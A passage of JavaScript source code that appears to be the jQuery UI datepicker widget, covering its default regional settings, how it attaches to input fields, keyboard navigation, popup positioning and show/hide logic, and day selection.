this._datepickerShowing = false; // True if the popup picker is showing , false if not this._inDialog = false; // True if showing within a "dialog", false if not this._mainDivId = "ui-datepicker-div"; // The ID of the main datepicker division this._inlineClass = "ui-datepicker-inline"; // The name of the inline marker class this._appendClass = "ui-datepicker-append"; // The name of the append marker class this._triggerClass = "ui-datepicker-trigger"; // The name of the trigger marker class this._dialogClass = "ui-datepicker-dialog"; // The name of the dialog marker class this._disableClass = "ui-datepicker-disabled"; // The name of the disabled covering marker class this._unselectableClass = "ui-datepicker-unselectable"; // The name of the unselectable cell marker class this._currentClass = "ui-datepicker-current-day"; // The name of the current day marker class this._dayOverClass = "ui-datepicker-days-cell-over"; // The name of the day hover marker class this.regional = []; // Available regional settings, indexed by language code this.regional[ "" ] = { // Default regional settings closeText: "Done", // Display text for close link prevText: "Prev", // Display text for previous month link nextText: "Next", // Display text for next month link currentText: "Today", // Display text for current month link monthNames: [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ], // Names of months for drop-down and formatting monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" ], // For formatting dayNames: [ "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday" ], // For formatting dayNamesShort: [ "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ], // For formatting dayNamesMin: [ "Su", "Mo", "Tu", "We", "Th", "Fr", "Sa" ], // Column headings for days starting at Sunday weekHeader: "Wk", // Column header for week of the year dateFormat: "mm/dd/yy", // See format options on parseDate firstDay: 0, // The first day of the week, Sun = 0, Mon = 1, ... isRTL: false, // True if right-to-left language, false if left-to-right showMonthAfterYear: false, // True if the year select precedes month, false for month then year yearSuffix: "", // Additional text to append to the year in the month headers, selectMonthLabel: "Select month", // Invisible label for month selector selectYearLabel: "Select year" // Invisible label for year selector }; this._defaults = { // Global defaults for all the date picker instances showOn: "focus", // "focus" for popup on focus, // "button" for trigger button, or "both" for either showAnim: "fadeIn", // Name of jQuery animation for popup showOptions: {}, // Options for enhanced animations defaultDate: null, // Used when field is blank: actual date, // +/-number for offset from today, null for today appendText: "", // Display text following the input box, e.g. showing the format buttonText: "...", // Text for trigger button buttonImage: "", // URL for trigger button image buttonImageOnly: false, // True if the image appears alone, false if it appears on a button hideIfNoPrevNext: false, // True to hide next/previous month links // if not applicable, false to just disable them navigationAsDateFormat: false, // True if date formatting applied to prev/today/next links gotoCurrent: false, // True if today link goes back to current selection instead changeMonth: false, // True if month can be selected directly, false if only prev/next changeYear: false, // True if year can be selected directly, false if only prev/next yearRange: "c-10:c+10", // Range of years to display in drop-down, // either relative to today's year (-nn:+nn), relative to currently displayed year // (c-nn:c+nn), absolute (nnnn:nnnn), or a combination of the above (nnnn:-n) showOtherMonths: false, // True to show dates in other months, false to leave blank selectOtherMonths: false, // True to allow selection of dates in other months, false for unselectable showWeek: false, // True to show week of the year, false to not show it calculateWeek: this.iso8601Week, // How to calculate the week of the year, // takes a Date and returns the number of the week for it shortYearCutoff: "+10", // Short year values < this are in the current century, // > this are in the previous century, // string value starting with "+" for current year + value minDate: null, // The earliest selectable date, or null for no limit maxDate: null, // The latest selectable date, or null for no limit duration: "fast", // Duration of display/closure beforeShowDay: null, // Function that takes a date and returns an array with // [0] = true if selectable, false if not, [1] = custom CSS class name(s) or "", // [2] = cell title (optional), e.g. $.datepicker.noWeekends beforeShow: null, // Function that takes an input field and // returns a set of custom settings for the date picker onSelect: null, // Define a callback function when a date is selected onChangeMonthYear: null, // Define a callback function when the month or year is changed onClose: null, // Define a callback function when the datepicker is closed onUpdateDatepicker: null, // Define a callback function when the datepicker is updated numberOfMonths: 1, // Number of months to show at a time showCurrentAtPos: 0, // The position in multipe months at which to show the current month (starting at 0) stepMonths: 1, // Number of months to step back/forward stepBigMonths: 12, // Number of months to step back/forward for the big links altField: "", // Selector for an alternate field to store selected dates into altFormat: "", // The date format to use for the alternate field constrainInput: true, // The input is constrained by the current date format showButtonPanel: false, // True to show button panel, false to not show it autoSize: false, // True to size the input for the date format, false to leave as is disabled: false // The initial disabled state }; $.extend( this._defaults, this.regional[ "" ] ); this.regional.en = $.extend( true, {}, this.regional[ "" ] ); this.regional[ "en-US" ] = $.extend( true, {}, this.regional.en ); this.dpDiv = datepicker_bindHover( $( "<div id='" + this._mainDivId + "' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>" ) ); } $.extend( Datepicker.prototype, { /* Class name added to elements to indicate already configured with a date picker. */ markerClassName: "hasDatepicker", //Keep track of the maximum number of rows displayed (see #7043) maxRows: 4, // TODO rename to "widget" when switching to widget factory _widgetDatepicker: function() { return this.dpDiv; }, /* Override the default settings for all instances of the date picker. * @param settings object - the new settings to use as defaults (anonymous object) * @return the manager object */ setDefaults: function( settings ) { datepicker_extendRemove( this._defaults, settings || {} ); return this; }, /* Attach the date picker to a jQuery selection. * @param target element - the target input field or division or span * @param settings object - the new settings to use for this date picker instance (anonymous) */ _attachDatepicker: function( target, settings ) { var nodeName, inline, inst; nodeName = target.nodeName.toLowerCase(); inline = ( nodeName === "div" || nodeName === "span" ); if ( !target.id ) { this.uuid += 1; target.id = "dp" + this.uuid; } inst = this._newInst( $( target ), inline ); inst.settings = $.extend( {}, settings || {} ); if ( nodeName === "input" ) { this._connectDatepicker( target, inst ); } else if ( inline ) { this._inlineDatepicker( target, inst ); } }, /* Create a new instance object. */ _newInst: function( target, inline ) { var id = target[ 0 ].id.replace( /([^A-Za-z0-9_\-])/g, "\\\\$1" ); // escape jQuery meta chars return { id: id, input: target, // associated target selectedDay: 0, selectedMonth: 0, selectedYear: 0, // current selection drawMonth: 0, drawYear: 0, // month being drawn inline: inline, // is datepicker inline or not dpDiv: ( !inline ? this.dpDiv : // presentation div datepicker_bindHover( $( "<div class='" + this._inlineClass + " ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>" ) ) ) }; }, /* Attach the date picker to an input field. */ _connectDatepicker: function( target, inst ) { var input = $( target ); inst.append = $( [] ); inst.trigger = $( [] ); if ( input.hasClass( this.markerClassName ) ) { return; } this._attachments( input, inst ); input.addClass( this.markerClassName ).on( "keydown", this._doKeyDown ). on( "keypress", this._doKeyPress ).on( "keyup", this._doKeyUp ); this._autoSize( inst ); $.data( target, "datepicker", inst ); //If disabled option is true, disable the datepicker once it has been attached to the input (see ticket #5665) if ( inst.settings.disabled ) { this._disableDatepicker( target ); } }, /* Make attachments based on settings. */ _attachments: function( input, inst ) { var showOn, buttonText, buttonImage, appendText = this._get( inst, "appendText" ), isRTL = this._get( inst, "isRTL" ); if ( inst.append ) { inst.append.remove(); } if ( appendText ) { inst.append = $( "<span>" ) .addClass( this._appendClass ) .text( appendText ); input[ isRTL ? "before" : "after" ]( inst.append ); } input.off( "focus", this._showDatepicker ); if ( inst.trigger ) { inst.trigger.remove(); } showOn = this._get( inst, "showOn" ); if ( showOn === "focus" || showOn === "both" ) { // pop-up date picker when in the marked field input.on( "focus", this._showDatepicker ); } if ( showOn === "button" || showOn === "both" ) { // pop-up date picker when button clicked buttonText = this._get( inst, "buttonText" ); buttonImage = this._get( inst, "buttonImage" ); if ( this._get( inst, "buttonImageOnly" ) ) { inst.trigger = $( "<img>" ) .addClass( this._triggerClass ) .attr( { src: buttonImage, alt: buttonText, title: buttonText } ); } else { inst.trigger = $( "<button type='button'>" ) .addClass( this._triggerClass ); if ( buttonImage ) { inst.trigger.html( $( "<img>" ) .attr( { src: buttonImage, alt: buttonText, title: buttonText } ) ); } else { inst.trigger.text( buttonText ); } } input[ isRTL ? "before" : "after" ]( inst.trigger ); inst.trigger.on( "click", function() { if ( $.datepicker._datepickerShowing && $.datepicker._lastInput === input[ 0 ] ) { $.datepicker._hideDatepicker(); } else if ( $.datepicker._datepickerShowing && $.datepicker._lastInput !== input[ 0 ] ) { $.datepicker._hideDatepicker(); $.datepicker._showDatepicker( input[ 0 ] ); } else { $.datepicker._showDatepicker( input[ 0 ] ); } return false; } ); } }, /* Apply the maximum length for the date format. */ _autoSize: function( inst ) { if ( this._get( inst, "autoSize" ) && !inst.inline ) { var findMax, max, maxI, i, date = new Date( 2009, 12 - 1, 20 ), // Ensure double digits dateFormat = this._get( inst, "dateFormat" ); if ( dateFormat.match( /[DM]/ ) ) { findMax = function( names ) { max = 0; maxI = 0; for ( i = 0; i < names.length; i++ ) { if ( names[ i ].length > max ) { max = names[ i ].length; maxI = i; } } return maxI; }; date.setMonth( findMax( this._get( inst, ( dateFormat.match( /MM/ ) ? "monthNames" : "monthNamesShort" ) ) ) ); date.setDate( findMax( this._get( inst, ( dateFormat.match( /DD/ ) ? "dayNames" : "dayNamesShort" ) ) ) + 20 - date.getDay() ); } inst.input.attr( "size", this._formatDate( inst, date ).length ); } }, /* Attach an inline date picker to a div. */ _inlineDatepicker: function( target, inst ) { var divSpan = $( target ); if ( divSpan.hasClass( this.markerClassName ) ) { return; } divSpan.addClass( this.markerClassName ).append( inst.dpDiv ); $.data( target, "datepicker", inst ); this._setDate( inst, this._getDefaultDate( inst ), true ); this._updateDatepicker( inst ); this._updateAlternate( inst ); //If disabled option is true, disable the datepicker before showing it (see ticket #5665) if ( inst.settings.disabled ) { this._disableDatepicker( target ); } // Set display:block in place of inst.dpDiv.show() which won't work on disconnected elements // http://bugs.jqueryui.com/ticket/7552 - A Datepicker created on a detached div has zero height inst.dpDiv.css( "display", "block" ); }, /* Pop-up the date picker in a "dialog" box. * @param input element - ignored * @param date string or Date - the initial date to display * @param onSelect function - the function to call when a date is selected * @param settings object - update the dialog date picker instance's settings (anonymous object) * @param pos int[2] - coordinates for the dialog's position within the screen or * event - with x/y coordinates or * leave empty for default (screen centre) * @return the manager object */ _dialogDatepicker: function( input, date, onSelect, settings, pos ) { var id, browserWidth, browserHeight, scrollX, scrollY, inst = this._dialogInst; // internal instance if ( !inst ) { this.uuid += 1; id = "dp" + this.uuid; this._dialogInput = $( "<input type='text' id='" + id + "' style='position: absolute; top: -100px; width: 0px;'/>" ); this._dialogInput.on( "keydown", this._doKeyDown ); $( "body" ).append( this._dialogInput ); inst = this._dialogInst = this._newInst( this._dialogInput, false ); inst.settings = {}; $.data( this._dialogInput[ 0 ], "datepicker", inst ); } datepicker_extendRemove( inst.settings, settings || {} ); date = ( date && date.constructor === Date ? this._formatDate( inst, date ) : date ); this._dialogInput.val( date ); this._pos = ( pos ? ( pos.length ? pos : [ pos.pageX, pos.pageY ] ) : null ); if ( !this._pos ) { browserWidth = document.documentElement.clientWidth; browserHeight = document.documentElement.clientHeight; scrollX = document.documentElement.scrollLeft || document.body.scrollLeft; scrollY = document.documentElement.scrollTop || document.body.scrollTop; this._pos = // should use actual width/height below [ ( browserWidth / 2 ) - 100 + scrollX, ( browserHeight / 2 ) - 150 + scrollY ]; } // Move input on screen for focus, but hidden behind dialog this._dialogInput.css( "left", ( this._pos[ 0 ] + 20 ) + "px" ).css( "top", this._pos[ 1 ] + "px" ); inst.settings.onSelect = onSelect; this._inDialog = true; this.dpDiv.addClass( this._dialogClass ); this._showDatepicker( this._dialogInput[ 0 ] ); if ( $.blockUI ) { $.blockUI( this.dpDiv ); } $.data( this._dialogInput[ 0 ], "datepicker", inst ); return this; }, /* Detach a datepicker from its control. * @param target element - the target input field or division or span */ _destroyDatepicker: function( target ) { var nodeName, $target = $( target ), inst = $.data( target, "datepicker" ); if ( !$target.hasClass( this.markerClassName ) ) { return; } nodeName = target.nodeName.toLowerCase(); $.removeData( target, "datepicker" ); if ( nodeName === "input" ) { inst.append.remove(); inst.trigger.remove(); $target.removeClass( this.markerClassName ). off( "focus", this._showDatepicker ). off( "keydown", this._doKeyDown ). off( "keypress", this._doKeyPress ). off( "keyup", this._doKeyUp ); } else if ( nodeName === "div" || nodeName === "span" ) { $target.removeClass( this.markerClassName ).empty(); } if ( datepicker_instActive === inst ) { datepicker_instActive = null; this._curInst = null; } }, /* Enable the date picker to a jQuery selection. * @param target element - the target input field or division or span */ _enableDatepicker: function( target ) { var nodeName, inline, $target = $( target ), inst = $.data( target, "datepicker" ); if ( !$target.hasClass( this.markerClassName ) ) { return; } nodeName = target.nodeName.toLowerCase(); if ( nodeName === "input" ) { target.disabled = false; inst.trigger.filter( "button" ). each( function() { this.disabled = false; } ).end(). filter( "img" ).css( { opacity: "1.0", cursor: "" } ); } else if ( nodeName === "div" || nodeName === "span" ) { inline = $target.children( "." + this._inlineClass ); inline.children().removeClass( "ui-state-disabled" ); inline.find( "select.ui-datepicker-month, select.ui-datepicker-year" ). prop( "disabled", false ); } this._disabledInputs = $.map( this._disabledInputs, // Delete entry function( value ) { return ( value === target ? null : value ); } ); }, /* Disable the date picker to a jQuery selection. * @param target element - the target input field or division or span */ _disableDatepicker: function( target ) { var nodeName, inline, $target = $( target ), inst = $.data( target, "datepicker" ); if ( !$target.hasClass( this.markerClassName ) ) { return; } nodeName = target.nodeName.toLowerCase(); if ( nodeName === "input" ) { target.disabled = true; inst.trigger.filter( "button" ). each( function() { this.disabled = true; } ).end(). filter( "img" ).css( { opacity: "0.5", cursor: "default" } ); } else if ( nodeName === "div" || nodeName === "span" ) { inline = $target.children( "." + this._inlineClass ); inline.children().addClass( "ui-state-disabled" ); inline.find( "select.ui-datepicker-month, select.ui-datepicker-year" ). prop( "disabled", true ); } this._disabledInputs = $.map( this._disabledInputs, // Delete entry function( value ) { return ( value === target ? null : value ); } ); this._disabledInputs[ this._disabledInputs.length ] = target; }, /* Is the first field in a jQuery collection disabled as a datepicker? * @param target element - the target input field or division or span * @return boolean - true if disabled, false if enabled */ _isDisabledDatepicker: function( target ) { if ( !target ) { return false; } for ( var i = 0; i < this._disabledInputs.length; i++ ) { if ( this._disabledInputs[ i ] === target ) { return true; } } return false; }, /* Retrieve the instance data for the target control. * @param target element - the target input field or division or span * @return object - the associated instance data * @throws error if a jQuery problem getting data */ _getInst: function( target ) { try { return $.data( target, "datepicker" ); } catch ( err ) { throw "Missing instance data for this datepicker"; } }, /* Update or retrieve the settings for a date picker attached to an input field or division. * @param target element - the target input field or division or span * @param name object - the new settings to update or * string - the name of the setting to change or retrieve, * when retrieving also "all" for all instance settings or * "defaults" for all global defaults * @param value any - the new value for the setting * (omit if above is an object or to retrieve a value) */ _optionDatepicker: function( target, name, value ) { var settings, date, minDate, maxDate, inst = this._getInst( target ); if ( arguments.length === 2 && typeof name === "string" ) { return ( name === "defaults" ? $.extend( {}, $.datepicker._defaults ) : ( inst ? ( name === "all" ? $.extend( {}, inst.settings ) : this._get( inst, name ) ) : null ) ); } settings = name || {}; if ( typeof name === "string" ) { settings = {}; settings[ name ] = value; } if ( inst ) { if ( this._curInst === inst ) { this._hideDatepicker(); } date = this._getDateDatepicker( target, true ); minDate = this._getMinMaxDate( inst, "min" ); maxDate = this._getMinMaxDate( inst, "max" ); datepicker_extendRemove( inst.settings, settings ); // reformat the old minDate/maxDate values if dateFormat changes and a new minDate/maxDate isn't provided if ( minDate !== null && settings.dateFormat !== undefined && settings.minDate === undefined ) { inst.settings.minDate = this._formatDate( inst, minDate ); } if ( maxDate !== null && settings.dateFormat !== undefined && settings.maxDate === undefined ) { inst.settings.maxDate = this._formatDate( inst, maxDate ); } if ( "disabled" in settings ) { if ( settings.disabled ) { this._disableDatepicker( target ); } else { this._enableDatepicker( target ); } } this._attachments( $( target ), inst ); this._autoSize( inst ); this._setDate( inst, date ); this._updateAlternate( inst ); this._updateDatepicker( inst ); } }, // Change method deprecated _changeDatepicker: function( target, name, value ) { this._optionDatepicker( target, name, value ); }, /* Redraw the date picker attached to an input field or division. * @param target element - the target input field or division or span */ _refreshDatepicker: function( target ) { var inst = this._getInst( target ); if ( inst ) { this._updateDatepicker( inst ); } }, /* Set the dates for a jQuery selection. * @param target element - the target input field or division or span * @param date Date - the new date */ _setDateDatepicker: function( target, date ) { var inst = this._getInst( target ); if ( inst ) { this._setDate( inst, date ); this._updateDatepicker( inst ); this._updateAlternate( inst ); } }, /* Get the date(s) for the first entry in a jQuery selection. * @param target element - the target input field or division or span * @param noDefault boolean - true if no default date is to be used * @return Date - the current date */ _getDateDatepicker: function( target, noDefault ) { var inst = this._getInst( target ); if ( inst && !inst.inline ) { this._setDateFromField( inst, noDefault ); } return ( inst ? this._getDate( inst ) : null ); }, /* Handle keystrokes. */ _doKeyDown: function( event ) { var onSelect, dateStr, sel, inst = $.datepicker._getInst( event.target ), handled = true, isRTL = inst.dpDiv.is( ".ui-datepicker-rtl" ); inst._keyEvent = true; if ( $.datepicker._datepickerShowing ) { switch ( event.keyCode ) { case 9: $.datepicker._hideDatepicker(); handled = false; break; // hide on tab out case 13: sel = $( "td." + $.datepicker._dayOverClass + ":not(." + $.datepicker._currentClass + ")", inst.dpDiv ); if ( sel[ 0 ] ) { $.datepicker._selectDay( event.target, inst.selectedMonth, inst.selectedYear, sel[ 0 ] ); } onSelect = $.datepicker._get( inst, "onSelect" ); if ( onSelect ) { dateStr = $.datepicker._formatDate( inst ); // Trigger custom callback onSelect.apply( ( inst.input ? inst.input[ 0 ] : null ), [ dateStr, inst ] ); } else { $.datepicker._hideDatepicker(); } return false; // don't submit the form case 27: $.datepicker._hideDatepicker(); break; // hide on escape case 33: $.datepicker._adjustDate( event.target, ( event.ctrlKey ? -$.datepicker._get( inst, "stepBigMonths" ) : -$.datepicker._get( inst, "stepMonths" ) ), "M" ); break; // previous month/year on page up/+ ctrl case 34: $.datepicker._adjustDate( event.target, ( event.ctrlKey ? +$.datepicker._get( inst, "stepBigMonths" ) : +$.datepicker._get( inst, "stepMonths" ) ), "M" ); break; // next month/year on page down/+ ctrl case 35: if ( event.ctrlKey || event.metaKey ) { $.datepicker._clearDate( event.target ); } handled = event.ctrlKey || event.metaKey; break; // clear on ctrl or command +end case 36: if ( event.ctrlKey || event.metaKey ) { $.datepicker._gotoToday( event.target ); } handled = event.ctrlKey || event.metaKey; break; // current on ctrl or command +home case 37: if ( event.ctrlKey || event.metaKey ) { $.datepicker._adjustDate( event.target, ( isRTL ? +1 : -1 ), "D" ); } handled = event.ctrlKey || event.metaKey; // -1 day on ctrl or command +left if ( event.originalEvent.altKey ) { $.datepicker._adjustDate( event.target, ( event.ctrlKey ? -$.datepicker._get( inst, "stepBigMonths" ) : -$.datepicker._get( inst, "stepMonths" ) ), "M" ); } // next month/year on alt +left on Mac break; case 38: if ( event.ctrlKey || event.metaKey ) { $.datepicker._adjustDate( event.target, -7, "D" ); } handled = event.ctrlKey || event.metaKey; break; // -1 week on ctrl or command +up case 39: if ( event.ctrlKey || event.metaKey ) { $.datepicker._adjustDate( event.target, ( isRTL ? -1 : +1 ), "D" ); } handled = event.ctrlKey || event.metaKey; // +1 day on ctrl or command +right if ( event.originalEvent.altKey ) { $.datepicker._adjustDate( event.target, ( event.ctrlKey ? +$.datepicker._get( inst, "stepBigMonths" ) : +$.datepicker._get( inst, "stepMonths" ) ), "M" ); } // next month/year on alt +right break; case 40: if ( event.ctrlKey || event.metaKey ) { $.datepicker._adjustDate( event.target, +7, "D" ); } handled = event.ctrlKey || event.metaKey; break; // +1 week on ctrl or command +down default: handled = false; } } else if ( event.keyCode === 36 && event.ctrlKey ) { // display the date picker on ctrl+home $.datepicker._showDatepicker( this ); } else { handled = false; } if ( handled ) { event.preventDefault(); event.stopPropagation(); } }, /* Filter entered characters - based on date format. */ _doKeyPress: function( event ) { var chars, chr, inst = $.datepicker._getInst( event.target ); if ( $.datepicker._get( inst, "constrainInput" ) ) { chars = $.datepicker._possibleChars( $.datepicker._get( inst, "dateFormat" ) ); chr = String.fromCharCode( event.charCode == null ? event.keyCode : event.charCode ); return event.ctrlKey || event.metaKey || ( chr < " " || !chars || chars.indexOf( chr ) > -1 ); } }, /* Synchronise manual entry and field/alternate field. */ _doKeyUp: function( event ) { var date, inst = $.datepicker._getInst( event.target ); if ( inst.input.val() !== inst.lastVal ) { try { date = $.datepicker.parseDate( $.datepicker._get( inst, "dateFormat" ), ( inst.input ? inst.input.val() : null ), $.datepicker._getFormatConfig( inst ) ); if ( date ) { // only if valid $.datepicker._setDateFromField( inst ); $.datepicker._updateAlternate( inst ); $.datepicker._updateDatepicker( inst ); } } catch ( err ) { } } return true; }, /* Pop-up the date picker for a given input field. * If false returned from beforeShow event handler do not show. * @param input element - the input field attached to the date picker or * event - if triggered by focus */ _showDatepicker: function( input ) { input = input.target || input; if ( input.nodeName.toLowerCase() !== "input" ) { // find from button/image trigger input = $( "input", input.parentNode )[ 0 ]; } if ( $.datepicker._isDisabledDatepicker( input ) || $.datepicker._lastInput === input ) { // already here return; } var inst, beforeShow, beforeShowSettings, isFixed, offset, showAnim, duration; inst = $.datepicker._getInst( input ); if ( $.datepicker._curInst && $.datepicker._curInst !== inst ) { $.datepicker._curInst.dpDiv.stop( true, true ); if ( inst && $.datepicker._datepickerShowing ) { $.datepicker._hideDatepicker( $.datepicker._curInst.input[ 0 ] ); } } beforeShow = $.datepicker._get( inst, "beforeShow" ); beforeShowSettings = beforeShow ? beforeShow.apply( input, [ input, inst ] ) : {}; if ( beforeShowSettings === false ) { return; } datepicker_extendRemove( inst.settings, beforeShowSettings ); inst.lastVal = null; $.datepicker._lastInput = input; $.datepicker._setDateFromField( inst ); if ( $.datepicker._inDialog ) { // hide cursor input.value = ""; } if ( !$.datepicker._pos ) { // position below input $.datepicker._pos = $.datepicker._findPos( input ); $.datepicker._pos[ 1 ] += input.offsetHeight; // add the height } isFixed = false; $( input ).parents().each( function() { isFixed |= $( this ).css( "position" ) === "fixed"; return !isFixed; } ); offset = { left: $.datepicker._pos[ 0 ], top: $.datepicker._pos[ 1 ] }; $.datepicker._pos = null; //to avoid flashes on Firefox inst.dpDiv.empty(); // determine sizing offscreen inst.dpDiv.css( { position: "absolute", display: "block", top: "-1000px" } ); $.datepicker._updateDatepicker( inst ); // fix width for dynamic number of date pickers // and adjust position before showing offset = $.datepicker._checkOffset( inst, offset, isFixed ); inst.dpDiv.css( { position: ( $.datepicker._inDialog && $.blockUI ? "static" : ( isFixed ? "fixed" : "absolute" ) ), display: "none", left: offset.left + "px", top: offset.top + "px" } ); if ( !inst.inline ) { showAnim = $.datepicker._get( inst, "showAnim" ); duration = $.datepicker._get( inst, "duration" ); inst.dpDiv.css( "z-index", datepicker_getZindex( $( input ) ) + 1 ); $.datepicker._datepickerShowing = true; if ( $.effects && $.effects.effect[ showAnim ] ) { inst.dpDiv.show( showAnim, $.datepicker._get( inst, "showOptions" ), duration ); } else { inst.dpDiv[ showAnim || "show" ]( showAnim ? duration : null ); } if ( $.datepicker._shouldFocusInput( inst ) ) { inst.input.trigger( "focus" ); } $.datepicker._curInst = inst; } }, /* Generate the date picker content. */ _updateDatepicker: function( inst ) { this.maxRows = 4; //Reset the max number of rows being displayed (see #7043) datepicker_instActive = inst; // for delegate hover events inst.dpDiv.empty().append( this._generateHTML( inst ) ); this._attachHandlers( inst ); var origyearshtml, numMonths = this._getNumberOfMonths( inst ), cols = numMonths[ 1 ], width = 17, activeCell = inst.dpDiv.find( "." + this._dayOverClass + " a" ), onUpdateDatepicker = $.datepicker._get( inst, "onUpdateDatepicker" ); if ( activeCell.length > 0 ) { datepicker_handleMouseover.apply( activeCell.get( 0 ) ); } inst.dpDiv.removeClass( "ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4" ).width( "" ); if ( cols > 1 ) { inst.dpDiv.addClass( "ui-datepicker-multi-" + cols ).css( "width", ( width * cols ) + "em" ); } inst.dpDiv[ ( numMonths[ 0 ] !== 1 || numMonths[ 1 ] !== 1 ? "add" : "remove" ) + "Class" ]( "ui-datepicker-multi" ); inst.dpDiv[ ( this._get( inst, "isRTL" ) ? "add" : "remove" ) + "Class" ]( "ui-datepicker-rtl" ); if ( inst === $.datepicker._curInst && $.datepicker._datepickerShowing && $.datepicker._shouldFocusInput( inst ) ) { inst.input.trigger( "focus" ); } // Deffered render of the years select (to avoid flashes on Firefox) if ( inst.yearshtml ) { origyearshtml = inst.yearshtml; setTimeout( function() { //assure that inst.yearshtml didn't change. if ( origyearshtml === inst.yearshtml && inst.yearshtml ) { inst.dpDiv.find( "select.ui-datepicker-year" ).first().replaceWith( inst.yearshtml ); } origyearshtml = inst.yearshtml = null; }, 0 ); } if ( onUpdateDatepicker ) { onUpdateDatepicker.apply( ( inst.input ? inst.input[ 0 ] : null ), [ inst ] ); } }, // #6694 - don't focus the input if it's already focused // this breaks the change event in IE // Support: IE and jQuery <1.9 _shouldFocusInput: function( inst ) { return inst.input && inst.input.is( ":visible" ) && !inst.input.is( ":disabled" ) && !inst.input.is( ":focus" ); }, /* Check positioning to remain on screen. */ _checkOffset: function( inst, offset, isFixed ) { var dpWidth = inst.dpDiv.outerWidth(), dpHeight = inst.dpDiv.outerHeight(), inputWidth = inst.input ? inst.input.outerWidth() : 0, inputHeight = inst.input ? inst.input.outerHeight() : 0, viewWidth = document.documentElement.clientWidth + ( isFixed ? 0 : $( document ).scrollLeft() ), viewHeight = document.documentElement.clientHeight + ( isFixed ? 0 : $( document ).scrollTop() ); offset.left -= ( this._get( inst, "isRTL" ) ? ( dpWidth - inputWidth ) : 0 ); offset.left -= ( isFixed && offset.left === inst.input.offset().left ) ? $( document ).scrollLeft() : 0; offset.top -= ( isFixed && offset.top === ( inst.input.offset().top + inputHeight ) ) ? $( document ).scrollTop() : 0; // Now check if datepicker is showing outside window viewport - move to a better place if so. offset.left -= Math.min( offset.left, ( offset.left + dpWidth > viewWidth && viewWidth > dpWidth ) ? Math.abs( offset.left + dpWidth - viewWidth ) : 0 ); offset.top -= Math.min( offset.top, ( offset.top + dpHeight > viewHeight && viewHeight > dpHeight ) ? Math.abs( dpHeight + inputHeight ) : 0 ); return offset; }, /* Find an object's position on the screen. */ _findPos: function( obj ) { var position, inst = this._getInst( obj ), isRTL = this._get( inst, "isRTL" ); while ( obj && ( obj.type === "hidden" || obj.nodeType !== 1 || $.expr.pseudos.hidden( obj ) ) ) { obj = obj[ isRTL ? "previousSibling" : "nextSibling" ]; } position = $( obj ).offset(); return [ position.left, position.top ]; }, /* Hide the date picker from view. * @param input element - the input field attached to the date picker */ _hideDatepicker: function( input ) { var showAnim, duration, postProcess, onClose, inst = this._curInst; if ( !inst || ( input && inst !== $.data( input, "datepicker" ) ) ) { return; } if ( this._datepickerShowing ) { showAnim = this._get( inst, "showAnim" ); duration = this._get( inst, "duration" ); postProcess = function() { $.datepicker._tidyDialog( inst ); }; // DEPRECATED: after BC for 1.8.x $.effects[ showAnim ] is not needed if ( $.effects && ( $.effects.effect[ showAnim ] || $.effects[ showAnim ] ) ) { inst.dpDiv.hide( showAnim, $.datepicker._get( inst, "showOptions" ), duration, postProcess ); } else { inst.dpDiv[ ( showAnim === "slideDown" ? "slideUp" : ( showAnim === "fadeIn" ? "fadeOut" : "hide" ) ) ]( ( showAnim ? duration : null ), postProcess ); } if ( !showAnim ) { postProcess(); } this._datepickerShowing = false; onClose = this._get( inst, "onClose" ); if ( onClose ) { onClose.apply( ( inst.input ? inst.input[ 0 ] : null ), [ ( inst.input ? inst.input.val() : "" ), inst ] ); } this._lastInput = null; if ( this._inDialog ) { this._dialogInput.css( { position: "absolute", left: "0", top: "-100px" } ); if ( $.blockUI ) { $.unblockUI(); $( "body" ).append( this.dpDiv ); } } this._inDialog = false; } }, /* Tidy up after a dialog display. */ _tidyDialog: function( inst ) { inst.dpDiv.removeClass( this._dialogClass ).off( ".ui-datepicker-calendar" ); }, /* Close date picker if clicked elsewhere. */ _checkExternalClick: function( event ) { if ( !$.datepicker._curInst ) { return; } var $target = $( event.target ), inst = $.datepicker._getInst( $target[ 0 ] ); if ( ( ( $target[ 0 ].id !== $.datepicker._mainDivId && $target.parents( "#" + $.datepicker._mainDivId ).length === 0 && !$target.hasClass( $.datepicker.markerClassName ) && !$target.closest( "." + $.datepicker._triggerClass ).length && $.datepicker._datepickerShowing && !( $.datepicker._inDialog && $.blockUI ) ) ) || ( $target.hasClass( $.datepicker.markerClassName ) && $.datepicker._curInst !== inst ) ) { $.datepicker._hideDatepicker(); } }, /* Adjust one of the date sub-fields. */ _adjustDate: function( id, offset, period ) { var target = $( id ), inst = this._getInst( target[ 0 ] ); if ( this._isDisabledDatepicker( target[ 0 ] ) ) { return; } this._adjustInstDate( inst, offset, period ); this._updateDatepicker( inst ); }, /* Action for current link. */ _gotoToday: function( id ) { var date, target = $( id ), inst = this._getInst( target[ 0 ] ); if ( this._get( inst, "gotoCurrent" ) && inst.currentDay ) { inst.selectedDay = inst.currentDay; inst.drawMonth = inst.selectedMonth = inst.currentMonth; inst.drawYear = inst.selectedYear = inst.currentYear; } else { date = new Date(); inst.selectedDay = date.getDate(); inst.drawMonth = inst.selectedMonth = date.getMonth(); inst.drawYear = inst.selectedYear = date.getFullYear(); } this._notifyChange( inst ); this._adjustDate( target ); }, /* Action for selecting a new month/year. */ _selectMonthYear: function( id, select, period ) { var target = $( id ), inst = this._getInst( target[ 0 ] ); inst[ "selected" + ( period === "M" ? "Month" : "Year" ) ] = inst[ "draw" + ( period === "M" ? "Month" : "Year" ) ] = parseInt( select.options[ select.selectedIndex ].value, 10 ); this._notifyChange( inst ); this._adjustDate( target ); }, /* Action for selecting a day. */ _selectDay: function( id, month, year, td ) { var inst, target = $( id ); if ( $( td ).hasClass( this._unselectableClass ) || this._isDisabledDatepicker( target[ 0 ] ) ) { return; } inst = this._getInst( target[ 0 ] ); inst.selectedDay = inst.currentDay = parseInt( $( "a", td ).attr( "data-date" ) ); inst.selectedMonth = inst.currentMonth = month; inst.selectedYear = inst.currentYear = year; this._selectDate( id, this._formatDate( inst, inst.currentDay, inst.currentMonth, inst.currentYear ) ); }, /* Erase the input field and hide the date 